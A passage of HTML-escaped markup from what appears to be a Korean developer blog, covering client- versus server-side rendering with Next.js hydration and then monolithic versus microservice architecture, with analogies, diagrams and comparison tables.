/&gt;로봇의&amp;nbsp;눈에는&amp;nbsp;이&amp;nbsp;사이트가&amp;nbsp;**&quot;아무런&amp;nbsp;글자도&amp;nbsp;상품도&amp;nbsp;없는&amp;nbsp;빈&amp;nbsp;백지&amp;nbsp;사이트&quot;**로&amp;nbsp;보이기&amp;nbsp;때문에&amp;nbsp;검색&amp;nbsp;랭킹에서&amp;nbsp;바닥으로&amp;nbsp;밀려나게&amp;nbsp;됩니다.&amp;nbsp;이것이&amp;nbsp;바로&amp;nbsp;**검색엔진&amp;nbsp;최적화(SEO)의&amp;nbsp;참패**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚖️&amp;nbsp;3.&amp;nbsp;CSR&amp;nbsp;vs&amp;nbsp;SSR의&amp;nbsp;장단점&amp;nbsp;맞대결 &lt;br /&gt;&lt;br /&gt;그렇다면&amp;nbsp;무조건&amp;nbsp;SSR이&amp;nbsp;좋은&amp;nbsp;걸까요?&amp;nbsp;그렇지&amp;nbsp;않습니다.&amp;nbsp;두&amp;nbsp;방식은&amp;nbsp;뚜렷한&amp;nbsp;장단점의&amp;nbsp;트레이드오프를&amp;nbsp;가집니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;첫&amp;nbsp;페이지&amp;nbsp;로딩&amp;nbsp;속도&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;CSR:&amp;nbsp;초기&amp;nbsp;자바스크립트&amp;nbsp;파일(수&amp;nbsp;메가바이트)을&amp;nbsp;다운받느라&amp;nbsp;첫&amp;nbsp;화면이&amp;nbsp;뜨기까지&amp;nbsp;1~3초간&amp;nbsp;흰&amp;nbsp;화면&amp;nbsp;발생 &lt;br /&gt;-&amp;nbsp;SSR:&amp;nbsp;완성된&amp;nbsp;HTML을&amp;nbsp;바로&amp;nbsp;받으므로&amp;nbsp;0.3초&amp;nbsp;만에&amp;nbsp;첫&amp;nbsp;화면이&amp;nbsp;번개처럼&amp;nbsp;뜸! &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;페이지&amp;nbsp;이동&amp;nbsp;및&amp;nbsp;인터랙션&amp;nbsp;(사용자&amp;nbsp;경험)&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;CSR:&amp;nbsp;첫&amp;nbsp;로딩만&amp;nbsp;끝나면,&amp;nbsp;메뉴를&amp;nbsp;클릭하거나&amp;nbsp;페이지를&amp;nbsp;넘길&amp;nbsp;때&amp;nbsp;서버를&amp;nbsp;거치지&amp;nbsp;않고&amp;nbsp;깜빡임&amp;nbsp;없이&amp;nbsp;즉시&amp;nbsp;전환&amp;nbsp;(최고의&amp;nbsp;앱&amp;nbsp;경험!) &lt;br /&gt;-&amp;nbsp;SSR:&amp;nbsp;링크를&amp;nbsp;누를&amp;nbsp;때마다&amp;nbsp;서버에&amp;nbsp;새로&amp;nbsp;요청하여&amp;nbsp;페이지&amp;nbsp;전체를&amp;nbsp;새로고침&amp;nbsp;받아야&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있음&amp;nbsp;(전통적&amp;nbsp;웹의&amp;nbsp;피로감) &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;서버&amp;nbsp;부하&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;CSR:&amp;nbsp;브라우저(손님&amp;nbsp;컴퓨터&amp;nbsp;CPU)가&amp;nbsp;화면을&amp;nbsp;그리므로&amp;nbsp;서버는&amp;nbsp;단순&amp;nbsp;API만&amp;nbsp;제공하면&amp;nbsp;됨&amp;nbsp;(서버&amp;nbsp;비용&amp;nbsp;매우&amp;nbsp;저렴) &lt;br /&gt;-&amp;nbsp;SSR:&amp;nbsp;손님&amp;nbsp;수만&amp;nbsp;명이&amp;nbsp;접속할&amp;nbsp;때마다&amp;nbsp;서버가&amp;nbsp;매번&amp;nbsp;HTML을&amp;nbsp;새로&amp;nbsp;조리해야&amp;nbsp;하므로&amp;nbsp;서버&amp;nbsp;CPU에&amp;nbsp;큰&amp;nbsp;부하&amp;nbsp;발생 &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;4.&amp;nbsp;두&amp;nbsp;세계의&amp;nbsp;완벽한&amp;nbsp;융합:&amp;nbsp;Next.js와&amp;nbsp;'하이드레이션(Hydration)' &lt;br /&gt;&lt;br /&gt;&quot;첫&amp;nbsp;페이지는&amp;nbsp;SSR처럼&amp;nbsp;빛의&amp;nbsp;속도로&amp;nbsp;완성된&amp;nbsp;HTML을&amp;nbsp;보여주고,&amp;nbsp;그&amp;nbsp;이후&amp;nbsp;조작은&amp;nbsp;CSR처럼&amp;nbsp;부드러운&amp;nbsp;SPA로&amp;nbsp;동작하게&amp;nbsp;만들&amp;nbsp;수는&amp;nbsp;없을까?&quot; &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;꿈같은&amp;nbsp;아이디어를&amp;nbsp;현실로&amp;nbsp;구현하며&amp;nbsp;모던&amp;nbsp;프론트엔드의&amp;nbsp;절대&amp;nbsp;강자로&amp;nbsp;군림한&amp;nbsp;프레임워크가&amp;nbsp;바로&amp;nbsp;**Next.js**입니다. &lt;br /&gt;&lt;br /&gt;Next.js의&amp;nbsp;핵심&amp;nbsp;마법은&amp;nbsp;**하이드레이션(Hydration:&amp;nbsp;수분&amp;nbsp;공급)**입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;1.&amp;nbsp;[서버]:&amp;nbsp;완성된&amp;nbsp;HTML을&amp;nbsp;구워서&amp;nbsp;브라우저에&amp;nbsp;전송&amp;nbsp;➔&amp;nbsp;사용자는&amp;nbsp;0.2초&amp;nbsp;만에&amp;nbsp;글과&amp;nbsp;그림을&amp;nbsp;봄!&amp;nbsp;(완벽한&amp;nbsp;SEO&amp;nbsp;달성) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│ &lt;br /&gt;2.&amp;nbsp;[브라우저]:&amp;nbsp;백그라운드에서&amp;nbsp;가벼운&amp;nbsp;리액트&amp;nbsp;자바스크립트&amp;nbsp;코드를&amp;nbsp;조용히&amp;nbsp;다운로드 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│ &lt;br /&gt;3.&amp;nbsp;[하이드레이션]:&amp;nbsp;말라비틀어진&amp;nbsp;건조&amp;nbsp;채소(정적&amp;nbsp;HTML)에&amp;nbsp;촉촉한&amp;nbsp;물(JS&amp;nbsp;이벤트&amp;nbsp;리스너)을&amp;nbsp;부어&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;버튼&amp;nbsp;클릭,&amp;nbsp;스크롤&amp;nbsp;애니메이션이&amp;nbsp;살아&amp;nbsp;움직이는&amp;nbsp;리액트&amp;nbsp;앱으로&amp;nbsp;변신! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;사용자는&amp;nbsp;첫&amp;nbsp;화면을&amp;nbsp;즉각적으로&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있어&amp;nbsp;이탈하지&amp;nbsp;않고,&amp;nbsp;검색엔진&amp;nbsp;로봇은&amp;nbsp;풍부한&amp;nbsp;텍스트를&amp;nbsp;수집할&amp;nbsp;수&amp;nbsp;있으며,&amp;nbsp;첫&amp;nbsp;로딩&amp;nbsp;이후에는&amp;nbsp;부드러운&amp;nbsp;앱처럼&amp;nbsp;작동하는&amp;nbsp;**'CSR과&amp;nbsp;SSR의&amp;nbsp;완벽한&amp;nbsp;결합'**을&amp;nbsp;달성한&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;프론트엔드&amp;nbsp;렌더링&amp;nbsp;전략&amp;nbsp;총정리 &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;구분&amp;nbsp;|&amp;nbsp;CSR&amp;nbsp;(React&amp;nbsp;SPA)&amp;nbsp;|&amp;nbsp;SSR&amp;nbsp;(Server-Side)&amp;nbsp;|&amp;nbsp;Next.js&amp;nbsp;(하이브리드)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**초기&amp;nbsp;로딩&amp;nbsp;속도**&amp;nbsp;|&amp;nbsp;느림&amp;nbsp;(흰&amp;nbsp;화면&amp;nbsp;지연)&amp;nbsp;|&amp;nbsp;매우&amp;nbsp;빠름&amp;nbsp;|&amp;nbsp;**초고속&amp;nbsp;(완성된&amp;nbsp;HTML)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**이후&amp;nbsp;전환&amp;nbsp;속도**&amp;nbsp;|&amp;nbsp;즉각적&amp;nbsp;(깜빡임&amp;nbsp;없음)&amp;nbsp;|&amp;nbsp;다소&amp;nbsp;둔탁함&amp;nbsp;|&amp;nbsp;**즉각적&amp;nbsp;(SPA&amp;nbsp;전환)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**검색엔진(SEO)**&amp;nbsp;|&amp;nbsp;매우&amp;nbsp;취약함&amp;nbsp;|&amp;nbsp;매우&amp;nbsp;우수함&amp;nbsp;|&amp;nbsp;**극상의&amp;nbsp;최적화**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**서버&amp;nbsp;부하**&amp;nbsp;|&amp;nbsp;거의&amp;nbsp;없음&amp;nbsp;|&amp;nbsp;높음&amp;nbsp;|&amp;nbsp;캐싱(SSG/ISR)으로&amp;nbsp;최소화&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**가장&amp;nbsp;추천하는&amp;nbsp;곳**&amp;nbsp;|&amp;nbsp;사내&amp;nbsp;관리자&amp;nbsp;대시보드&amp;nbsp;|&amp;nbsp;뉴스,&amp;nbsp;블로그&amp;nbsp;기사&amp;nbsp;|&amp;nbsp;**이커머스,&amp;nbsp;포털,&amp;nbsp;서비스&amp;nbsp;메인**&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**CSR**은&amp;nbsp;브라우저가&amp;nbsp;자바스크립트를&amp;nbsp;다운받아&amp;nbsp;직접&amp;nbsp;화면을&amp;nbsp;그리는&amp;nbsp;방식으로,&amp;nbsp;부드러운&amp;nbsp;인터랙션을&amp;nbsp;제공하지만&amp;nbsp;초기&amp;nbsp;로딩이&amp;nbsp;느리고&amp;nbsp;검색엔진(SEO)에&amp;nbsp;치명적이다. &lt;br /&gt;2.&amp;nbsp;**SSR**은&amp;nbsp;서버에서&amp;nbsp;글자와&amp;nbsp;데이터가&amp;nbsp;채워진&amp;nbsp;완성된&amp;nbsp;HTML을&amp;nbsp;미리&amp;nbsp;만들어&amp;nbsp;보내주므로&amp;nbsp;첫&amp;nbsp;화면이&amp;nbsp;번개처럼&amp;nbsp;뜨고&amp;nbsp;검색엔진에&amp;nbsp;완벽히&amp;nbsp;노출된다. &lt;br /&gt;3.&amp;nbsp;**Next.js**는&amp;nbsp;첫&amp;nbsp;화면은&amp;nbsp;SSR로&amp;nbsp;빠르게&amp;nbsp;띄우고&amp;nbsp;이후&amp;nbsp;조작은&amp;nbsp;CSR로&amp;nbsp;전환하는&amp;nbsp;**하이드레이션**&amp;nbsp;기술을&amp;nbsp;통해&amp;nbsp;두&amp;nbsp;방식의&amp;nbsp;장점을&amp;nbsp;모두&amp;nbsp;거머쥐었다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;프론트엔드&amp;nbsp;화면과&amp;nbsp;백엔드&amp;nbsp;서버를&amp;nbsp;거쳐&amp;nbsp;들어온&amp;nbsp;소중한&amp;nbsp;사용자&amp;nbsp;데이터는&amp;nbsp;어디에&amp;nbsp;가장&amp;nbsp;안전하고&amp;nbsp;빠르게&amp;nbsp;보관될까요? &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;1억&amp;nbsp;개의&amp;nbsp;데이터&amp;nbsp;더미&amp;nbsp;속에서도&amp;nbsp;원하는&amp;nbsp;회원&amp;nbsp;정보를&amp;nbsp;0.001초&amp;nbsp;만에&amp;nbsp;족집게처럼&amp;nbsp;찾아내는&amp;nbsp;**[DB&amp;nbsp;인덱스(Index)와&amp;nbsp;B-Tree의&amp;nbsp;원리&amp;nbsp;-&amp;nbsp;데이터베이스&amp;nbsp;검색의&amp;nbsp;기적]**을&amp;nbsp;흥미진진하게&amp;nbsp;풀어드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;결제&amp;nbsp;기능&amp;nbsp;코드&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;고쳐서&amp;nbsp;서버를&amp;nbsp;다시&amp;nbsp;띄웠을&amp;nbsp;뿐인데,&amp;nbsp;엉뚱하게&amp;nbsp;장바구니와&amp;nbsp;로그인까지&amp;nbsp;싹&amp;nbsp;다&amp;nbsp;먹통이&amp;nbsp;되어&amp;nbsp;서비스&amp;nbsp;전체가&amp;nbsp;멈춰버렸습니다!&quot;** &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;치명적인&amp;nbsp;재앙을&amp;nbsp;겪은&amp;nbsp;넷플릭스,&amp;nbsp;배달의민족,&amp;nbsp;아마존,&amp;nbsp;쿠팡&amp;nbsp;같은&amp;nbsp;빅테크&amp;nbsp;기업들은&amp;nbsp;모두&amp;nbsp;수년에&amp;nbsp;걸쳐&amp;nbsp;기존의&amp;nbsp;통짜&amp;nbsp;서버를&amp;nbsp;부수고&amp;nbsp;잘게&amp;nbsp;쪼개는&amp;nbsp;대수술을&amp;nbsp;감행했습니다. &lt;br /&gt;&lt;br /&gt;과연&amp;nbsp;**모놀리식(Monolithic)**은&amp;nbsp;무엇이고,&amp;nbsp;현대&amp;nbsp;백엔드의&amp;nbsp;대세가&amp;nbsp;된&amp;nbsp;**마이크로서비스&amp;nbsp;아키텍처(Microservices&amp;nbsp;Architecture,&amp;nbsp;MSA)**는&amp;nbsp;왜&amp;nbsp;탄생했을까요? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;'대형&amp;nbsp;만물상&amp;nbsp;백화점'&amp;nbsp;vs&amp;nbsp;'전문&amp;nbsp;상가&amp;nbsp;골목' &lt;br /&gt;&lt;br /&gt;두&amp;nbsp;아키텍처의&amp;nbsp;차이는&amp;nbsp;**통합&amp;nbsp;백화점**과&amp;nbsp;**전문&amp;nbsp;상가&amp;nbsp;골목**의&amp;nbsp;차이로&amp;nbsp;단번에&amp;nbsp;이해할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;모놀리식&amp;nbsp;아키텍처:&amp;nbsp;거대한&amp;nbsp;단일&amp;nbsp;건물&amp;nbsp;] &lt;br /&gt;+-----------------------------------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;거대한&amp;nbsp;10층&amp;nbsp;백화점&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;[회원&amp;nbsp;관리]&amp;nbsp;+&amp;nbsp;[상품&amp;nbsp;검색]&amp;nbsp;+&amp;nbsp;[주문/결제]&amp;nbsp;+&amp;nbsp;[배송&amp;nbsp;추적]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;-&amp;nbsp;화재경보기&amp;nbsp;하나&amp;nbsp;오작동하면&amp;nbsp;건물&amp;nbsp;전체&amp;nbsp;손님&amp;nbsp;대피!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;-&amp;nbsp;화장실&amp;nbsp;타일&amp;nbsp;하나&amp;nbsp;바꾸려고&amp;nbsp;백화점&amp;nbsp;전&amp;nbsp;층&amp;nbsp;임시&amp;nbsp;휴점!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+-----------------------------------------------------------+ &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;마이크로서비스(MSA):&amp;nbsp;독립된&amp;nbsp;전문점&amp;nbsp;거리&amp;nbsp;] &lt;br /&gt;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+ &lt;br /&gt;|&amp;nbsp; &amp;nbsp;회원마트&amp;nbsp;|&amp;nbsp;&amp;nbsp;|&amp;nbsp; &amp;nbsp;상품센터&amp;nbsp;|&amp;nbsp;&amp;nbsp;|&amp;nbsp; &amp;nbsp;결제은행&amp;nbsp;|&amp;nbsp;&amp;nbsp;|&amp;nbsp; &amp;nbsp;배송허브&amp;nbsp;| &lt;br /&gt;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+&amp;nbsp;&amp;nbsp;+-------------+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;결제은행에&amp;nbsp;불이&amp;nbsp;나도(서버&amp;nbsp;장애),&amp;nbsp;상품센터에서&amp;nbsp;물건&amp;nbsp;구경은&amp;nbsp;100%&amp;nbsp;정상&amp;nbsp;작동! &lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;배송허브만&amp;nbsp;직원을&amp;nbsp;10배&amp;nbsp;늘리고&amp;nbsp;싶으면&amp;nbsp;배송허브&amp;nbsp;건물만&amp;nbsp;단독&amp;nbsp;증축&amp;nbsp;가능! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;1)&amp;nbsp;모놀리식&amp;nbsp;(Monolithic:&amp;nbsp;거대한&amp;nbsp;통짜&amp;nbsp;바위) &lt;br /&gt;모든&amp;nbsp;비즈니스&amp;nbsp;로직(회원,&amp;nbsp;주문,&amp;nbsp;결제,&amp;nbsp;리뷰&amp;nbsp;등)이&amp;nbsp;하나의&amp;nbsp;프로젝트&amp;nbsp;코드베이스&amp;nbsp;안에&amp;nbsp;들어있고,&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;실행&amp;nbsp;파일(WAR/JAR&amp;nbsp;등)로&amp;nbsp;빌드되어&amp;nbsp;동일한&amp;nbsp;데이터베이스를&amp;nbsp;공유하는&amp;nbsp;전통적인&amp;nbsp;구조입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;2)&amp;nbsp;마이크로서비스&amp;nbsp;(Microservices&amp;nbsp;Architecture:&amp;nbsp;작고&amp;nbsp;독립된&amp;nbsp;서비스의&amp;nbsp;연합) &lt;br /&gt;거대한&amp;nbsp;소프트웨어를&amp;nbsp;비즈니스&amp;nbsp;기능&amp;nbsp;단위로&amp;nbsp;잘게&amp;nbsp;쪼개어,&amp;nbsp;**각각&amp;nbsp;독립적인&amp;nbsp;서버&amp;nbsp;프로세스와&amp;nbsp;독립적인&amp;nbsp;전용&amp;nbsp;데이터베이스를&amp;nbsp;갖추고&amp;nbsp;네트워크(REST&amp;nbsp;API,&amp;nbsp;gRPC,&amp;nbsp;Kafka)로&amp;nbsp;대화**하는&amp;nbsp;분산&amp;nbsp;아키텍처입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚖️&amp;nbsp;2.&amp;nbsp;왜&amp;nbsp;기업들은&amp;nbsp;고통을&amp;nbsp;감수하고&amp;nbsp;MSA로&amp;nbsp;넘어갔을까? &lt;br /&gt;&lt;br /&gt;모놀리식에서&amp;nbsp;MSA로&amp;nbsp;전환하는&amp;nbsp;것은&amp;nbsp;시스템을&amp;nbsp;처음부터&amp;nbsp;다시&amp;nbsp;만드는&amp;nbsp;것만큼이나&amp;nbsp;고통스러운&amp;nbsp;과정입니다.&amp;nbsp;그럼에도&amp;nbsp;불구하고&amp;nbsp;왜&amp;nbsp;글로벌&amp;nbsp;테크&amp;nbsp;기업들은&amp;nbsp;MSA를&amp;nbsp;선택했을까요? &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;①&amp;nbsp;부분&amp;nbsp;장애의&amp;nbsp;격리&amp;nbsp;(Blast&amp;nbsp;Radius&amp;nbsp;축소) &lt;br /&gt;*&amp;nbsp;**모놀리식**:&amp;nbsp;리뷰&amp;nbsp;게시판에&amp;nbsp;메모리&amp;nbsp;누수가&amp;nbsp;발생해&amp;nbsp;서버&amp;nbsp;메모리가&amp;nbsp;꽉&amp;nbsp;차면,&amp;nbsp;결제와&amp;nbsp;주문&amp;nbsp;서버까지&amp;nbsp;함께&amp;nbsp;죽어버려&amp;nbsp;회사&amp;nbsp;매출이&amp;nbsp;0원이&amp;nbsp;됩니다. &lt;br /&gt;*&amp;nbsp;**MSA**:&amp;nbsp;리뷰&amp;nbsp;서비스가&amp;nbsp;폭발해서&amp;nbsp;다운되더라도,&amp;nbsp;주문과&amp;nbsp;결제&amp;nbsp;서비스는&amp;nbsp;아무런&amp;nbsp;영향을&amp;nbsp;받지&amp;nbsp;않고&amp;nbsp;멀쩡하게&amp;nbsp;돌아갑니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;②&amp;nbsp;유연하고&amp;nbsp;폭발적인&amp;nbsp;확장성&amp;nbsp;(Independent&amp;nbsp;Scaling) &lt;br /&gt;*&amp;nbsp;블랙프라이데이나&amp;nbsp;타임세일&amp;nbsp;이벤트가&amp;nbsp;열리면&amp;nbsp;'결제/주문'&amp;nbsp;트래픽만&amp;nbsp;평소의&amp;nbsp;100배로&amp;nbsp;치솟습니다. &lt;br /&gt;*&amp;nbsp;**모놀리식**:&amp;nbsp;결제&amp;nbsp;하나&amp;nbsp;때문에&amp;nbsp;무거운&amp;nbsp;백화점&amp;nbsp;전체&amp;nbsp;서버를&amp;nbsp;100대&amp;nbsp;복제해야&amp;nbsp;하므로&amp;nbsp;엄청난&amp;nbsp;서버&amp;nbsp;비용이&amp;nbsp;낭비됩니다. &lt;br /&gt;*&amp;nbsp;**MSA**:&amp;nbsp;결제&amp;nbsp;서비스&amp;nbsp;컨테이너만&amp;nbsp;100개로&amp;nbsp;핀포인트&amp;nbsp;증설(스케일&amp;nbsp;아웃)하면&amp;nbsp;되므로&amp;nbsp;인프라&amp;nbsp;비용이&amp;nbsp;획기적으로&amp;nbsp;절감됩니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;③&amp;nbsp;배포의&amp;nbsp;자유&amp;nbsp;(배포&amp;nbsp;공포증&amp;nbsp;퇴치) &lt;br /&gt;*&amp;nbsp;**모놀리식**:&amp;nbsp;100명의&amp;nbsp;개발자가&amp;nbsp;각자&amp;nbsp;짠&amp;nbsp;코드를&amp;nbsp;한곳에&amp;nbsp;합쳐서&amp;nbsp;새벽&amp;nbsp;2시에&amp;nbsp;서비스&amp;nbsp;전체를&amp;nbsp;내리고&amp;nbsp;벌벌&amp;nbsp;떨며&amp;nbsp;배포해야&amp;nbsp;합니다. &lt;br /&gt;*&amp;nbsp;**MSA**:&amp;nbsp;회원&amp;nbsp;팀은&amp;nbsp;주문&amp;nbsp;팀&amp;nbsp;눈치를&amp;nbsp;볼&amp;nbsp;필요&amp;nbsp;없이,&amp;nbsp;자신들의&amp;nbsp;회원&amp;nbsp;서비스만&amp;nbsp;대낮에&amp;nbsp;1초&amp;nbsp;만에&amp;nbsp;단독&amp;nbsp;배포할&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;넷플릭스는&amp;nbsp;하루에도&amp;nbsp;수천&amp;nbsp;번씩&amp;nbsp;서비스를&amp;nbsp;무중단&amp;nbsp;배포합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;MSA의&amp;nbsp;어두운&amp;nbsp;이면&amp;nbsp;-&amp;nbsp;세상에&amp;nbsp;공짜&amp;nbsp;점심은&amp;nbsp;없다 &lt;br /&gt;&lt;br /&gt;그렇다면&amp;nbsp;모든&amp;nbsp;회사가&amp;nbsp;무조건&amp;nbsp;MSA를&amp;nbsp;도입해야&amp;nbsp;할까요?&amp;nbsp;**절대&amp;nbsp;아닙니다.**&amp;nbsp;MSA는&amp;nbsp;수많은&amp;nbsp;장점만큼이나&amp;nbsp;끔찍한&amp;nbsp;복잡성을&amp;nbsp;대가로&amp;nbsp;요구합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;MSA의&amp;nbsp;3대&amp;nbsp;골칫거리&amp;nbsp;] &lt;br /&gt;1.&amp;nbsp;네트워크&amp;nbsp;지연과&amp;nbsp;장애:&amp;nbsp;함수&amp;nbsp;호출(0.0001초)이&amp;nbsp;네트워크&amp;nbsp;API&amp;nbsp;호출(0.05초)로&amp;nbsp;바뀌어&amp;nbsp;느려짐 &lt;br /&gt;2.&amp;nbsp;분산&amp;nbsp;트랜잭션의&amp;nbsp;지옥:&amp;nbsp;DB가&amp;nbsp;쪼개져서&amp;nbsp;한쪽은&amp;nbsp;결제&amp;nbsp;성공했는데&amp;nbsp;주문&amp;nbsp;저장은&amp;nbsp;실패하면&amp;nbsp;어떻게&amp;nbsp;롤백할까?&amp;nbsp;(SAGA&amp;nbsp;패턴&amp;nbsp;필요) &lt;br /&gt;3.&amp;nbsp;데이터&amp;nbsp;정합성과&amp;nbsp;모니터링:&amp;nbsp;어디서&amp;nbsp;에러가&amp;nbsp;났는지&amp;nbsp;추적하려면&amp;nbsp;수십&amp;nbsp;개&amp;nbsp;서버의&amp;nbsp;로그를&amp;nbsp;엮어야&amp;nbsp;함&amp;nbsp;(분산&amp;nbsp;트레이싱&amp;nbsp;필수) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;마틴&amp;nbsp;파울러(Martin&amp;nbsp;Fowler)를&amp;nbsp;비롯한&amp;nbsp;세계적인&amp;nbsp;소프트웨어&amp;nbsp;구루들은&amp;nbsp;입을&amp;nbsp;모아&amp;nbsp;경고합니다. &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;처음부터&amp;nbsp;MSA로&amp;nbsp;시작하지&amp;nbsp;마라.&amp;nbsp;시스템이&amp;nbsp;작고&amp;nbsp;단순할&amp;nbsp;때는&amp;nbsp;모놀리식이&amp;nbsp;10배&amp;nbsp;더&amp;nbsp;빠르고&amp;nbsp;효율적이다.&amp;nbsp;모놀리식으로&amp;nbsp;시작해서&amp;nbsp;한계에&amp;nbsp;부딪혔을&amp;nbsp;때&amp;nbsp;비로소&amp;nbsp;MSA로&amp;nbsp;쪼개라!&quot;** &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;모놀리식&amp;nbsp;vs&amp;nbsp;MSA&amp;nbsp;한눈에&amp;nbsp;비교 &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;비교&amp;nbsp;항목&amp;nbsp;|&amp;nbsp;모놀리식&amp;nbsp;(Monolithic)&amp;nbsp;|&amp;nbsp;마이크로서비스&amp;nbsp;(MSA)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**시스템&amp;nbsp;복잡도**&amp;nbsp;|&amp;nbsp;초기&amp;nbsp;단순함,&amp;nbsp;규모&amp;nbsp;커지면&amp;nbsp;극도로&amp;nbsp;복잡&amp;nbsp;|&amp;nbsp;초기부터&amp;nbsp;매우&amp;nbsp;복잡함&amp;nbsp;(인프라/DevOps&amp;nbsp;필수)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**배포&amp;nbsp;단위**&amp;nbsp;|&amp;nbsp;서비스&amp;nbsp;전체&amp;nbsp;일괄&amp;nbsp;배포&amp;nbsp;|&amp;nbsp;각&amp;nbsp;서비스별&amp;nbsp;독립적&amp;nbsp;무중단&amp;nbsp;배포&amp;nbsp;| &lt;br 